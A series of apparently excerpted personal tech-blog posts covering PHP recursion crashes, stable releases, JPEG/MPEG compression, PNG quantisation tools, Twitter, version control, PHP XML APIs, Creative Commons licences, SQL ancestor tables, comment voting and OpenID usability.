This is all due to technical limitation inside PHP, which I guess is reasonable.  PHP pushes to the stack each time you enter a new function call, which is quick and handy, but limits your recusion depth.

What annoys me is that it’s one more reason that PHP is not very good for creating portable code.  There’s no warning or PHP error before you exhaust the recursion limit, PHP just crashes (bringing down an Apache process with it if you’re using mod_php).  The “safe” depth of recursion you could do on PHP is hard to predict, and is going to vary between installations and builds.  I’ve seen posts online showing people doing experiments to try and figure out PHP’s recursion limit, but there’s too many factors at work – how PHP’s been built, whether it’s 32-bit or 64-bit, the type and quantity of variables you are passing as arguments or return values, and so on.  In some code of my own, I’ve seen php-cgi crashing after just 20 to 30 levels of recursion.  The function was passing some rather large arrays as return values.

You could argue that the same issue is going to happen in a C program, and that any decent programmer should be ready to code around this, anyway.  However, in my mind PHP should be a level of abstraction higher than this sort of detail; a programmer in such a high level scripting language should not need to worry about the underlying low-level implementation.  Ideally, PHP ought to put out a PHP error, allowing for the problem to be reported gracefully just as if you’d tried to call a non-existant function, and the PHP interpreter should end the script gracefully without crashing any processes.

The bottom line is that if you’re doing recursion in PHP, you should use your own method to limit the depth to a very conservative level, or perhaps rewrite it to use a big loop instead of recursion.  If, like me, you’re writing a recursive descent parser, if you need to make your code portable you may be better off to rewrite it to use a big loop.

A stable software release

A stable software release is so named because it is unchanging.  Its behaviour, functionality, specification or API is considered ‘final’ for that version.  Apart from security patches and bug fixes, the software will not change for as long as that version of the software is supported, usually from 1 to many years.

Software that is intended for the public to use is usually “stable”.  It is released, and following the release no new features are added apart from the odd bug fix.  To get new functionality users eventually need to upgrade to the next version.  Any problems with the software (unless they can easily be fixed with a bug fix update) are “known” problems, and the software vendor does not need to keep track of more than one variantion of these problems for any given version.

Examples of releases that are the opposite of stable include development snapshots, beta releases, and rolling releases.  A characteristic of all three of these is that they are in a frequent state of change; even their functionality and feature list can change from week to week, or day to day.  You cannot depend on them to behave the same way from one week to the next.

Some people like that with non-stable releases such as development snapshots, beta releases or rolling releases, they are always getting the latest features as soon as they are written into the software.  In many cases, these releases also fix deficiencies or bugs that would otherwise remain stagnant in the stable release.  However, with no stability in the feature list or functionality, this affects the ability for documentation, other software that interfaces with the software, plugins, and more to function: a change in the software can mean these become out of date or fail to work anymore.  When you have software which needs to work well with a lot of other software, having a stable release reduces the frequency with which changes in the software will break compatibility with the other software relying on it.

Another meaning of stable

Another meaning of stable exists in common use, where people take it to mean “working reliably” or “solid”.  That is, people refer to software that runs consistently without crashing as stable.  You can see why they may use the word in this way: in real life, when something can be described as stable, it won’t fall over.  If a chair is stable enough, you can sit in it and it won’t topple or collapse.

However, confusion arises when people use this form of the word stable to refer to software that isn’t stable in the earlier sense.  For example, it’s why you see comments like “I’ve been using the beta version since February and it is very stable” or “the newer version is more stable”.  The point that these comments make is not that the software is final and unchanging, as in a stable software release, but more that the software is stable like a chair might be stable.  It seems reliable, and the user hasn’t experience any major problems.

This kind of stability won’t help developers extending the software with other software, or writing plugins or customisations for the software, since the fact that at any given time the software is running well does not make up for the fact that the software is subject to frequent changes.

Commenters or reviewers who describe beta or rolling releases of software as stable, might want to try describing them as “solid” or “reliable” instead, to save confusion with a stable release which is an unchanging release.  Or, the fact that the same term is understood in two different and sometimes conflicting ways may indicate that the term is not an ideal one in the first place.  It does, however, seem firmly entrenched in the software development world, where the meaning of a stable release is well known.

All of the formats, including JPEG images and all types of MPEG videos, work in a very similar way, which I’ll call block based DCT image compression.  This involves chopping up the picture into blocks, 8 pixels by 8 pixels, and compressing each block separately, and using a mathematical transform called a Discrete Cosine Transformation (DCT).

Here are some of the steps involved in JPEG and MPEG image compression:

Colour space conversion and resampling

If necessary, the image is first converted into the correct colour space and resolution.  This involves separating the colour image into 3 separate images or ‘channels’: a luma channel which carries the brightness information (like a black and white image), and two chroma channels which carry the colour information.  Furthermore, the luma channel is usually given double or quadruple the resolution of the colour channels; this saves some storage space already, and works because humans are much better at seeing intricate changes in lightness than colour, which is why we prefer reading light text on dark background and vice versa, to red text on green or similar.

Separate into 8×8 blocks and perform Discrete Cosine Transform

Each channel of the image is then divided into blocks of 8 pixels by 8 pixels (64 pixels per block).  To each block, a mathematical formula called a Discrete Cosine Transform (DCT) is performed.

Before the discrete cosine transform, you have 64 values, each representing a pixel in the block.  After the transform, you have 64 values, each representing a particular frequency of any detail in that block.  It is like taking a piece of audio and constructing a spectrum analysis, where you get a frequency vs amplitude curve, except the curve is more of a surface, because it’s in two dimensions.  The very first resulting value represents a frequency of ‘zero’, ie it is the average value of all of those original 64 pixels.  The rest are co-efficients: values which you can input back into the inverse DCT function to get the original pixel values.

Storing these coefficients is no more efficient than storing the original pixel values.  In fact, due to rounding error you need greater precision in order to be able to store them than the pixel values.  How, then do we achieve any compression?  Well, for that, you need to throw away some data.

Quantisation

Quantisation is the process of reducing the precision of a number so that it is less accurate, but takes fewer digits (that is, bits) to write, or store.  It is, quite simply, dividing a number by a certain value, and throwing away the remainder.  When multiplying by that value again in an attempt to get the original number, chances are that the number is close to, but slightly different to, the number you started with.  The more you divide the number by, the greater the strength of the quantisation and hence the greater the likely loss in precision once you multiple the number again.

So, the previous compression step left us with 64 co-efficients arranged in an 8×8 matrix, representing the values of different horizontal and vertical frequencies within that 8×8 block.  Now, we apply quantisation to these coefficients, reducing their precision by dividing them by a specific number and throwing away the remainders.  When we save a JPEG image or MPEG movie we can usually set either a quality slider or quantisation factor – these just vary the number we are dividing by and hence the amount of precision we want to retain.

The JPEG and MPEG compression can also apply different amounts of quantisation to the different frequency coefficients within a single block, or different amounts per block in an image.  When this is done, it is all in an attempt to get the best looking picture, as perceived by human eyes, for a given amount of quantisation.

Encoding the coefficients

Depending on the amount of quantisation applied, some or most of the smallest coefficients will have been reduced to zero, because they were so small and insignificant to start with and during quantisation, resulted in a value less than 1 and therefore were discarded.  It’s likely that a typical block will only have a few non-zero coefficients remaining after quantisation.

The co-efficients, which were laid out in an 8×8 matrix, are now picked out in a specific order for encoding: usually a “zigzag pattern”, chosen so that the smallest co-efficients will likely be last; any zero-coefficients at the end are not encoded at all.  The remaining coefficients undergo some form of lossless coding, which minimises the bits taken by the remaining coefficients.  The type of coding chosen varies between sub-types of MPEG video, but the general idea is that each coefficient is represented using a variable number of bits, so that smaller ones take less space.

Motion

The process so-far is simplified, but basically true for still images, and for the still component (keyframes or I-frames) of MPEG video.  MPEG video encoding can also involve motion estimation, where a block can be optimised by only encoding the difference between it and a nearby area of some other frame.  Encoding is still done per-block, and the blocks still undergo DCT and quantisation, but the selection of a reference point in another frame can be somewhat complex.

Decoding the image

Decoding is a reverse of the above process: the stream is decoded to find the coefficients for each block, and these coefficients are multiplied by the same number they were previously divided by, in order to reverse the quantisation.  The quantisation process did involve some precision loss, which can be seen by this point.  Then, an inverse DCT is applied to get pixel values for the block.

Finally, if it is a colour image and the two chroma channels used a lower resolution than the luma channel, these are now up-sampled – by interpolation – to match the luma channel, and then the image can be converted into a suitable colour space for viewing, such as RGB (when displaying on a monitor).

pngnq and pngquant reduce the file size of a PNG file by reducing the number of colours, using advanced algorithms which produce the most visually pleasing results given the limitations.

pngnq and pngquant are capable of producing 8-bit (or less) optimised images which still contain alpha transparency (fully varied transparency), something which Photoshop cannot do!

This package contains

• Improved pngnq v0.9 (January 2009)
• Improved pngquant v1.1.1 (January 2009)
• Sample batch files
• Full source code and any original open source licenses

Download pngnq and pngquant command-line tools for Win32 now

What they’re for

pngnq and pngquant perform lossy compression of PNG images, by reducing the number of colours appearing in the image.

There are many different approaches to doing this, and most graphics applications capable of saving to PNG or GIF images have some algorithm for reducing a full colour image down to an image with a limited number of colours.  Different algorithms vary in terms of visual quality and processing time.  pngnq and pngquant aim for maximum possible visual quality at the expense of a longer processing time (though they are, to some extent, adjustable), and generally do perform better at this than most graphics software.

Choosing a fixed number of colours to best present a full-colour image is not an easy task, and as such there are a few different approaches.

One approach is to use a fixed set of colours regardless of the image; this is the simplest but also the worst quality approach.

Other approaches look at what colours actually appear in the image, and try to cover the most common ones.  Of these, there is still a variety of approaches: median-cut based colour selection picks colours by repeatedly calculating median values of the colours in the full-colour image.  Other, more ‘perceptual’ approaches try to place more emphasis on areas of the image where small colour variations are more likely to be noticed by the human eye, and less emphasis on ‘busier’ areas of the image.  In the best case, such an algorithm can often produce a reduced colour image that is indistinguishable from the original, by the human eye.

pngquant is a general open source tool to do just this, and can accept pretty much any type of PNG image as its input, though a true-colour PNG, optionally with alpha transparency information, is best.  It is a command-line tool, and is cross-platform.

pngnq is an alternative to pngquant which uses the neuquant algorithm, a more complex algorithm which aims to produce better results.  It is also command-line and cross-platform.  It evolved from an earlier version of pngquant.

Kornel Lesinski’s improved pngnq and improved pngquant tools add some further minor improvements to pngnq and pngquant’s algorithms, giving more pleasing (to my eye) results for images with alpha transparency, especially antialiased boundaries for example on icons.  They also contain other various fixes, as documented on their respective web pages, which improve results in some edge cases.

You can choose how many colours you want to end up with, with 256 as the maximum; unlike GIF, PNG’s efficiency does not really suffer if you choose a palette size that is not a power of two.

The resulting PNG images will be viewable in all modern browsers, with an important exception: in Internet Explorer 6, images with alpha transparency will not display their partially transparent areas.  Thus, the images will look a lot like they have just 1-bit transparency.  Some see this as still better than the alternative of not using alpha transparency, or using full-colour images with alpha transparency and having them completely broken on IE6, due to the relatively graceful way these images degrade on IE6.  You should test the results in IE6 and decide for yourself, on an image-by-image basis.

Download pngnq and pngquant command-line tools for Win32 now

‘Why would anyone use a service so restrictive and limited in use, and like it?’, I thought.  For one, it’s full of self-promotion, utilised by many as one big PR tool.  I felt like I was being spammed every time I visited (until, that is, I learned to un-follow any of ‘those’ accounts), and at other times it just looked like a whole bunch of ‘in’ people sharing ‘in’ jokes and having their own little private conversations to which I was not invited, but which were nonetheless put out in the public, as if to say ‘look at me, I actually have friends’ or ‘geek is the new trendy’.

To help myself to understand it – without necessary aiming to like it, but just to get a better grasp of why others did – I told myself eight days ago that I would put something on my Twitter (Tweet?) at least one a day.

• Installing TwitterFox has helped.  Now I don’t need to go through the hassle of loading a website just to do something which should be trivially easy to do, given you are writing just a few words.
• The @ signs in messages annoy me.  Twitter should just hide the @, allowing you to link to another user without it looking like some sort of secret geek language.
• The need to use URL shorteners annoys me.  Twitter should just hide the URL and show it as link text instead, allowing the link to show up as part of your sentence, you know, like in HTML.  This is probably the single most embarrassingly backward feature of Twitter, so lacking that an entire industry of ‘URL shortening services’ has thrived as a result of this limitation.  Imagine their lack of
• Twitter is not open.  It’s controlled by one company (and doesn’t have a good record of staying up).  Can I host a Twitter site on my own server?  I guess this point is kind of moot; as much as I find it mildly irritating, most people, unlike me, don’t really care too much about ‘freedom’ in that sense.  But even a viable Twitter competitor would open up the market a bit.  I may check out identi.ca at some stage.
• I have been inspired by the likes of Sockington, who I think uses the Twitter format really well.

All in all, I’ve found that it is actually easier to maintain a regular posting habit on Twitter than on my blog, which is refreshing.  A week ago I didn’t understand the point of Twitter at all, and while I still see Twitter as largely made up of chaff I can now understand that it is like any other self-published media, including blogging: 95% of it is uninteresting, but the 5% that’s good can make it an enjoyable experience.

You can check out my Twitter here and tell me if I am a twit or not.

• Distributed version control doesn’t force you into a new way of working.  If you prefer a centralised approach, you can still do that.  You could use it very much like you currently use svn if you want to, and yet you’ll still get the benefit of having a local history of revisions, allowing you to do a lot of things such as revert, diff, or even check in some code locally – without the overhead of network access.
• Distributed version control does not force you to have a mess of different branches of your code on different developers’ machines, with no clear indication as to which one is most ‘up to date’.  You would still have a ‘main’ or ‘trunk’ branch on a server somewhere which represents the main focus of development.  Developers get the added option of having new branches on their own machine, but this doesn’t mean that they can’t send that code back to some shared trunk when they finish something.
• The benefits to distributed version control do not end at the ‘coding while on a plane’ scenario.  While this is indeed a benefit of distributed version control (while coding without network access you still have access to the complete revision history and can do commits), this is not the sole reason behind DVCS.  You also get the benefit of reduced network overhead, making typical operations much faster, and you get a lot more flexibility in choosing a suitable workflow, and altering that workflow when it suits you.  If you are working on your own pet feature but don’t want to check in your code to the main trunk until it’s done, you can still easily use revision control on your own little copy, and when it does come time to check in and merge all your changes to the trunk all the little revisions you made when you were working on it separately are preserved.  This requires no setting up on the central server – any developer can create their own little parallel branch for a while, then merge it back up – it can be as simple as doing a ‘local commit’ instead of a ‘commit’ or ‘check-in’ (for me, that’s just one checkbox).  Merging may sound complicated, but it’s not – it simply works.  The system is smart enough to figure out which file was which and you can’t really break it – anything is reversible.
• Not all DVCS are git, or particularly like git.  Git originated as a special-purpose version control system which Linus Torvalds developed to support his own personal workflow, managing the Linux kernel.  While it now has pretty much all the features of a full-featured version control system, it still has its origins as a tool built especially for one person’s own workflow.  Undoubtedly it is a good system, but if you try git and don’t like it, you should not assume that other distributed version control systems are the same as it.  Git also has problems on Windows (a native Msys version is still being developed as of this blog post).

My version control system of choice at the moment is Bazaar, chosen because I need both Windows and Linux capability and I like that it is easy to use.  There is not much separating it from Mercurial except for some small, almost philosophical conventions.  Just as one almost insignificant example, Bazaar versions directories, allowing empty directories to be significant.  I’d recommend either.  Bazaar has the massive support of Canonical (of Ubuntu fame) and big projects such as MySQL.  Mercurial has big projects such as Mozilla (of Firefox fame).  You can get near instant help for either by going to their respective freenode IRC channels or by asking a question on Stack Overflow.

• If you are interested, try out this “Bazaar in five minutes” tutorial. Longer tutorials often give the impression that distributed version control is more complicated than it really is.

‘Some people, when confronted with a problem, think “I know, I’ll use XML.”  Now they have two problems.’
- stolen from somewhere

• DOM is a standard, language-independent API for heirarchical data such as XML which has been standardized by the W3C. It is a rich API with much functionality. It is object based, in that each node is an object.DOM is good when you not only want to read, or write, but you want to do a lot of manipulation of nodes an existing document, such as inserting nodes between others, changing the structure, etc.
• SimpleXML is a PHP-specific API which is also object-based but is intended to be a lot less ‘terse’ than the DOM: simple tasks such as finding the value of a node or finding its child elements take a lot less code. Its API is not as rich than DOM, but it still includes features such as XPath lookups, and a basic ability to work with multiple-namespace documents. And, importantly, it still preserves all features of your document such as XML CDATA sections and comments, even though it doesn’t include functions to manipulate them.
  SimpleXML is very good for read-only: if all you want to do is read the XML document and convert it to another form, then it’ll save you a lot of code. It’s also fairly good when you want to generate a document, or do basic manipulations such as adding or changing child elements or attributes, but it can become complicated (but not impossible) to do a lot of manipulation of existing documents. It’s not easy, for example, to add a child element in between two others; addChild only inserts after other elements. SimpleXML also cannot do XSLT transformations. It doesn’t have things like ‘getElementsByTagName’ or getElementById’, but if you know XPath you can still do that kind of thing with SimpleXML.
  The SimpleXMLElement object is somewhat ‘magical’. The properties it exposes if you var_dump/print_r/var_export don’t correspond to its complete internal representation, and end up making SimpleXML look more simplistic than it really is. It exposes some of its child elements as if they were properties which can be accessed with the -> operator, but still preserves the full document internally, and you can do things like access a child element whose name is a reserved word with the [] operator as if it was an associative array.

You don’t have to fully commit to one or the other, because PHP implements the functions:

• simplexml_import_dom(DOMNode)
• dom_import_simplexml(SimpleXMLElement)

This is helpful if you are using SimpleXML and need to work with code that expects a DOM node or vice versa.

PHP also offers a third XML library:

• XML Parser (an implementation of SAX, a language-independent interface, but not referred to by that name in the manual) is a much lower level library, which serves quite a different purpose. It doesn’t build objects for you. It basically just makes it easier to write your own XML parser, because it does the job of advancing to the next token, and finding out the type of token, such as what tag name is and whether it’s an opening or closing tag, for you. Then you have to write callbacks that should be run each time a token is encountered. All tasks such as representing the document as objects/arrays in a tree, manipulating the document, etc will need to be implemented separately, because all you can do with the XML parser is write a low level parser.
  The XML Parser functions are still quite helpful if you have specific memory or speed requirements. With it, it is possible to write a parser that can parse a very long XML document without holding all of its contents in memory at once. Also, if you not interested in all of the data, and don’t need or want it to be put into a tree or set of PHP objects, then it can be quicker. For example, if you want to scan through an XHTML document and find all the links, and you don’t care about structure.

In this article I just wanted to clarify the difference for those using a CC license, so that they are not inadvertently preventing others from using their work with an unnecessarily restrictive license.

Thankfully, the creativecommons.org website now has a useful “Approved for Free Cultural Works” icon and colour scheme, to help you tell them apart.  For example:

• This Attribution Share-Alike Generic 2.5 license is green and has the icon, so you know it is a ‘free’ license.
• This Attribution Non-Commercial Generic 2.5 license is yellow and does not have the icon, so it is not a ‘free’ (as in freedom) license.

Defining freedom

Creativecommons.org has chosen to adopt the meaning of ‘freedom’ as defined by Freedomdefined.org, a definition which is basically equivalent to that used for open source software.  It states that for a work to be considered a free cultural work, it must have the following four freedoms:

• The freedom to use the work and enjoy the benefits of using it
• The freedom to study the work and to apply knowledge acquired from it
• The freedom to make and redistribute copies, in whole or in part, of the information or expression
• The freedom to make changes and improvements, and to distribute derivative works

Freedom applies to everyone

For these freedoms to be valid, they must  be unconditional and apply to everyone, regardless of who they are or what they intend to use the work for.  This means that any license with a non-commercial clause is not free in the sense that any business wanting to use the work commercially would have to make a separate arrangement with the author.  One of the basic rules of open source software is that businesses are allowed to use it in order to profit from it; if what they could do with it was restricted, open source software would be avoided by commercial enterprises.  Companies wouldn’t be installing Linux on their clients’ systems, for example.

The same applies to non-software cultural works: allowing anyone the freedom to use the work, regardless of whether they intend to profit, enables businesses to assist the proliferation of the work.

Freedom includes freedom to make changes

These freedoms also include the freedom to make changes and improvements.  If a license does not allow derivative works, it is another example of restricting users’ ability to do whatever they like with the work.  The ability to modify the work is seen as advantageous for the community because it allows the work to be improved by others, without a separate arrangement being made with the original author.  To draw a comparison with open source software again, if businesses were not allowed to modify Linux and provide their own version of it, many businesses would not be able to exist, and the behaviour of Linux would be entirely under the control of a single entity.  Allowing others to modify your work allows businesses to exist that support the work through improving it.

Some restrictions are still acceptable

Requiring copyright notices to be preserved, or requiring any derivative works to be given the same license (a share-alike clause) are still considered acceptable restrictions by the free software movement and free cultural works.  It’s just that any restrictions beyond this, such as preventing commercial uses and preventing any modifications, are not.

Quick guide to choosing a Creative Commons license

There is nothing wrong with choosing a non-free license for your work: It is the creator’s right not to license their work, or to apply any restrictions they desire.  If you are considering releasing something under a Creative Commons license, you should consider which rights you want to retain.  One reason for retaining a right would be if you want to make money from it.

So, here’s a quick guide on how to choose between the licenses:

• Including a non-commercial clause allows you to retain the sole right to make money from distributing the work.  If allowing others freedom to use the work is more important to you than making money, then don’t include a non-commercial clause.
• Not allowing derivative works allows you to retain the sole right to alter the work, which allows you to reserve the right to charge money for or prevent alterations.  If allowing others to use and improve the work is more important to you that making money from or preventing alterations, then make sure you allow derivative works.
• If you do not care about money, or controlling who is allowed to do what with the work (save put a copyright notice on it), but you do care that the work is free for all to use and modify how they see fit, then make sure the Creative Commons license you choose is a green one, with the ‘Approved for Free Cultural Works’ icon.  This will ensure that your work receives the best chance of being re-used and shared by as many people as possible.

There’s plenty of information on the web about storing hierarchical data in SQL using these methods:

• Adjacency list
• Materialised paths
• Nested sets

The method I used in a personal project of mine, however, is different to all of these.  Today I found this Evolt article, which pretty much describes the technique I’m using, calling it ancestor tables.

I don’t know if it’s just because I don’t know the right name for it, or if people just generally haven’t thought of it, but finding anybody using this method has been pretty difficult – for whatever reason, nested sets (which I believe has serious flaws) and materialised paths seem to be all the rage instead.

First, I’ll describe each of the alternative methods in brief.  More information is available in this article from DBAzine, though you can find an easier to understand description of nested sets in this one from MySQL.

Brief descriptions

An adjacency list just means that for each node, you also store the ID of its parent node.  It’s easy to write a query to find immediate parents or children of an node using this method, but finding a list of ascendents of descendents, including non-immediate ones, requires some sort of fancy recursion.  That’s a well acknowledged limitation of this method, and if you look around the web you’ll find a lot of people pointing this out, at the same time singing the praises of nested sets as if they’re the only alternative.

A materialised path means that for each node, you store a string which represents the path to that node.  For instance, the node with id 13 might have a path of ’1.2.12′, meaning that it is the immediate child of 12, which is the child of 2, which is the child of 1.  This opens up a few more possibilities in terms of efficient queries that can be made.  For example, you can easily find all descendents of an node using a WHERE path LIKE ’1.2.%’ type of syntax, or just WHERE path=’1.2′ if you only want immediate children.  Efficiently finding ancestors is still a bit fiddly, as is moving an node to elsewhere in the table, but it’s not unmanageable.  I actually think it’s a good solution.

Nested sets are more complicated than any other method.  For each node, you store two integers, which represent a ‘range’.  The ‘root’ node of the tree contains the lowest and highest numbers of the whole tree, and each branch contains the lowest and highest number of that branch.  It’s probably easiest to illustrate this with a diagram (which I found in this article).  Each number between the lowest and highest is used once and only once in the whole tree.  The major benefit to this is that it makes finding all descendents of a node fairly efficient.  To find children of an node, just find all nodes WHERE leftvalue > parent.leftvalue AND rightvalue < parent.rightvalue.  It’s highly inefficient, however, when you only want immediate children, ie only a single level of descendents.  It also lets you down substancially when making any modification to any node in the tree; any creation, deletion or moving of an node will always require, on average, half of the rows in the whole table to be updated.  Good if the tree is very small or you never plan to update it; bad otherwise.

Variations of nested sets exist which attempt to solve some of its problems, but these tend come at the cost of even greater complexity.  I was reading about a method with ever decreasing fractions for increasing levels of the tree earlier.

Ancestor tables

My ancestor tables method can probably be thought of as similar to a materialised path, in that it requires about the same amount of information, except that it doesn’t concatenate it all together into a string to be stored in a single column value, but represents each ancestor in its own row in a separate relation table:

• ancestor_ID (int)
• node_ID (int)
• level (int)

For each node added to the tree, you add rows to this ancestor table describing its ancestry.  So for example, if node 13 is the child of 12, which is the child of 2, which is the child of 1, this would be represented in the ancestor table as:

The total number of rows needed in this ancestor table is related to the number of ancestor-descendent relationships in the whole tree.  If your average node is nested only 4 levels away from the root node, then you only need about 4 times the number of nodes.  It’s much less even than O(n log n).

(When I do it, I also includes a 0th level for each node, where ancestor_ID equals node_ID and level is 0.  There was only one edge case where this helped me for my specific project.)

The method allows for all of the following queries to be efficient, requiring no recursive joins or multiple queries.

• Find the parent of a node:
  SELECT ancestor_ID FROM ancestors WHERE node_ID=<nodeid> AND level=1
• Find all ancestors of its node, including its parent, and each parent in turn:
  SELECT ancestor_ID FROM ancestors WHERE node_ID=<nodeid>
  
• Find all the immediate children of a node:
  SELECT node_ID FROM ancestors WHERE ancestor_ID=<nodeid> AND level=1
• Find all the descendents of a node, including all immediate children and their descendents:
  SELECT node_ID FROM ancestors WHERE ancestor_ID=<nodeid>

As you can see, none of these queries need recursive joins, or require the database to inspect more rows than they need to, and none of them even require looking up certain information (such as the path to the requested node, or left and right values) before actually doing the query that returns the rows.

Add a LEFT OUTER JOIN to your main node table, and you can fetch all the necessary data about each node (name, properties, etc) in the one query.

You can even do efficient sorting via the same index used to fetch the rows, as long as you add columns to the ancestor tables for whatever data you want to sort on and use indexes wisely.

It also means that when inserting a new node, or making another edit to the tree, you do not have to modify the majority of the tree – only the entries in the ancestor tables that belong to that node.  This is similar to the materialised paths technique, where you only need to update the path for the node you change.

Strongly disagree with a YouTube comment?  Give a thumbs-down!  You have expressed an opinion in only a single mouse-click!

The ease of expressing pleasure or displeasure upon someone else’s opinion in a single click seems to be a highly effective way of getting feedback from your users, because it exploits their desire to have their say, at the same time reducing the barrier of entry: typing a reply in words is no longer necessary, neither is logging in, filling out a form, or even visiting a different page.

Harness the crowd’s wisdom

Simple feedback systems like this can even serve as a n0-maintenance extension to your comment moderation: enough down-votes, and your system can be pretty sure, without you even reading it, that a comment is offensive or irrelevant enough to be removed.  A YouTube comment with many down-votes appears hidden by default – depending on how many, you may still be able to view it, but it’s highly likely to be offensive or spam.  It appears to be pretty effective.  Users are willing to do your moderation for you even if they get nothing in return other than the satisfaction of showing their approval or disapproval.

Getting feedback on a blog in the form of comments is very difficult: for every thousand people who read something, a tiny fraction will go through the effort required to fill in their name and write out a proper response, even if you have a comment form that requires no approval or sign-up.  If you are writing something highly controversial or offensive, or taking a side on a ‘hot topic’ (Apple sucks, Microsoft is better) you’ll probably find that tiny fraction rise substancially, but otherwise eight hundred people could read a blog post before anyone comments.  So, given that it is so hard to get any feedback by comments, why not allow one-click feedback?

Characteristics

What I think of as the YouTube model is not unique to YouTube: Facebook uses the same sort of thing, so does Digg (of  ‘digg it’ fame), and my new favourite StackOverflow does the same sort of thing too (though you need reputation to vote), and many others – sadly, sites such as WordPress.com haven’t followed yet.  The basic characteristics of this model are:

• One click ‘vote up’ or ‘vote down’ buttons next to comments.
• Clicking them records your vote instantly without a page refresh (Ajax techniques are used).
• There is usually some way that voting something ‘down’ penalises it; it may cause it to move further down the page, or a certain number of down-votes may ‘hide’ it.

I like it so much that when I find myself reading user comments and I can’t give it a thumbs-up or thumbs-down, it frustrates me; I’ve come to expect to be able to give one-click feedback.

Previous experience

The success of Hot or Not and a whole generation of clones showed the addictive popularity of giving users the ability to give feedback with no more intellectual effort than a single click.  Instead of a single up-vote or down-vote, however, the user had to choose a value out of ten, and while it only required a single click, it did result in a page load.  Nevertheless, people spent hours and hours on sites following that model.  While originally they were rating photos of people based on looks, the concept spread to rating all sorts of other things, like graphic design work, poetry, and jokes.

I believe that the thumbs up/down approach takes this two steps further – by reducing the number of available choices down to two instead of ten, and by accepting the feedback without a page reload (due to Ajax techniques).

Years ago I implemented a rating system on a website of my own, making a conscious decision to reduce the number of possible choices from ten down to only three.  My belief at the time was that it was a sweet spot, between getting enough useful information from users, and being simple enough so that as many users as possible would use it, because it was such a no-brainer.  Adding the voting option under each piece of content did result in participation and increase page views per user.  In retrospect, I could have reduced it further to a single ‘up-vote’ and ‘down-vote’, and I suspect the participation rate would have been even higher due to the lower mental effort required.  The ‘results’ allowed me to rank items on the site according to popularity; the front page item was always one of the most ‘popular’ in terms of votes.

As I publish this, I just noticed that WordPress.com allows nested comments now – maybe they can allow ratings on comments one day soon!

I have not implemented OpenID in any application, so I come at it not as an implementor or programmer but as an end user: a number of sites I’ve used, including Stack Overflow and Sourceforge, have either allowed or insisted upon OpenID authentication.

My first OpenID account was at Verisign Labs (PIP).  They’re well established in web security, so I figured it would be a reliable service, and a company that wasn’t likely to disappear on me.  Their service, however, left me frustrated for a few reasons.

• For some reason (early onset dementia?), I could never remember my OpenID URL and found myself needing to look it up all the time, which meant starting up my email client.  Because it’s not only a username I chose, but also includes the web address of the OpenID provider, I found it easier to forget.  I can’t really see ordinary web users finding the URL thing intuitive; for some time now, favourites/bookmarks and search engines have been teaching us that remembering URLs shouldn’t be necessary.
• The Versign Labs PIP has one of the most user-unfriendly features I have ever experienced.  With the aim of preventing phishing attacks, a well-meaning goal, it does not allow you to authenticate yourself at any OpenID supported site at all unless you have already logged in directly at Verisign’s website during the same browser session.  Try typing in your OpenID to your favourite site, and you get a message from Verisign telling you that no, you haven’t logged in to Verisign this session, so you can’t proceed.  When I encouter this, I have no choice but to open up a second tab and head over to their site to log in, except that much of the time I can’t, because I don’t have a browser certificate installed on the computer I’m using at the time (I don’t think it’s abnormal to use more than one computer regularly).  So in order to authenticate me, it has to send me an email containing a single-use PIN.  Thank goodness my email account doesn’t use OpenID authentication and I can get to that fairly easily.  I’ve never had to jump through so many hoops, just to log in to an application I already have an account at.
• Once I’ve started using an OpenID identity from a certain provider on a site or two, it would appear that I am tied to that OpenID provider for life.  It makes it very hard to evaluate OpenID providers when your choice is a permanent one.  Yes, I realise that it is possible to use delegation, or even to install your own OpenID server, but if we’re going to be talking about end users, neither of these two are really practical, and both of them are likely to result in decreased security.

My second OpenID provider, MyOpenID, appears to be a fair bit easier to get along with, and doesn’t suffer from many of the problems I’d previously encountered.

Simply by opening another OpenID account, however, everything has become exponentially more complicated: if you switch providers, there’s no easy way that I can see to merge all site accounts based on an identity at my previous provider across to the new one.  It seems like changing providers may mean ditching a bunch of old accounts and signing up for all new ones.  I was impressed at the way Stack Overflow’s implementation allowed switching the OpenID identity associated with my account there.  Unfortunately, this flexibility is a result only of Stack Overflow’s thoughtful design, and such a feature is not part of a typical OpenID implementation.

MyOpenID, thankfully, allows me to authenticate myself without having to twiddle around with going to the OpenID provider’s site in a separate browser window or getting a single-use PIN.  I suppose it is similar to what the OpenID experience should have been like from the start.  Maybe my Verisign Labs PIP account just had too many optional features turned on.

I still find, however, that some things about OpenID underwhelm me:

• Signing up for a new account at an OpenID-enabled site appears no easier when using OpenID.  After authenticating with my OpenID URL and whatever authentication I need to do at the OpenID provider’s end, when I return to the client site I still have to fill out a form, and most of the time I still have to confirm my email address.  Some fields have been pre-filled by my OpenID account, but I still need to choose a username that is unique to that application, and likely even fill in a Captcha.
• Users are well experienced already with simple username/password combinations.  They know, for example, that the password should be kept secret, and it’s that secret that provides their security.  Even though they might have several username/password combinations at different sites, this doesn’t make things any more complicated, because the same concept is just repeated.  With an OpenID account, however, not only do they now have a username and password at their OpenID provider, but they also have this OpenID URL, and maybe even a browser certificate.  That is three or four pieces of information.  Furthermore, how will they understand that authenticating with an OpenID URL alone can provide any security, when the OpenID URL is not a secret, and there is no password?  I wouldn’t be surprised if users thought that OpenID was grossly insecure, because they don’t understand that all the real security is hidden from them.
• I also wouldn’t be surprised if the idea that their identity is passed between sites made users a bit worried.  For instance, how can an OpenID implementor reassure the user that even if they use their OpenID URL to log in and register, that doesn’t mean the implementor now has the password to the user’s OpenID account?  All the beneficial security concepts are a black box to the users, who may just assume that the OpenID account is a way for their password and identity to be freely passed around between sites.  Far from using it only when high security is needed, we may find that users, unaware of the security benefits to OpenID, only trust OpenID with information they don’t mind losing.

So far I haven’t been convinced that using OpenID is significantly safer – even when comparing it to re-using the same username and password at a whole bunch of different sites, which is itself a dubious security practice.  With OpenID, I still have all my eggs in one basket.  If an attacker gains access to my OpenID account, he can still impersonate me at all sites where I rely on that identity.

OpenID is a well-meaning idea, and with more experience I am sure that I will master it more, but being this confusing and headache-inducing even to a web developer is a clear indication that it has some way to go before it can be considered fit for general use.  Get this: the Wikipedia page for OpenID displays a prominent warning which reads  “This page may be too technical for a general audience” applying to various sections, including the section titled “Logging in”.  If it is too hard to describe how to “log in” without alienating a non-technical audience, it is a sign that the process is not too usable, and anyone thinking that they are implementing OpenID in order to “simplify” things for end-users may need to think twice.

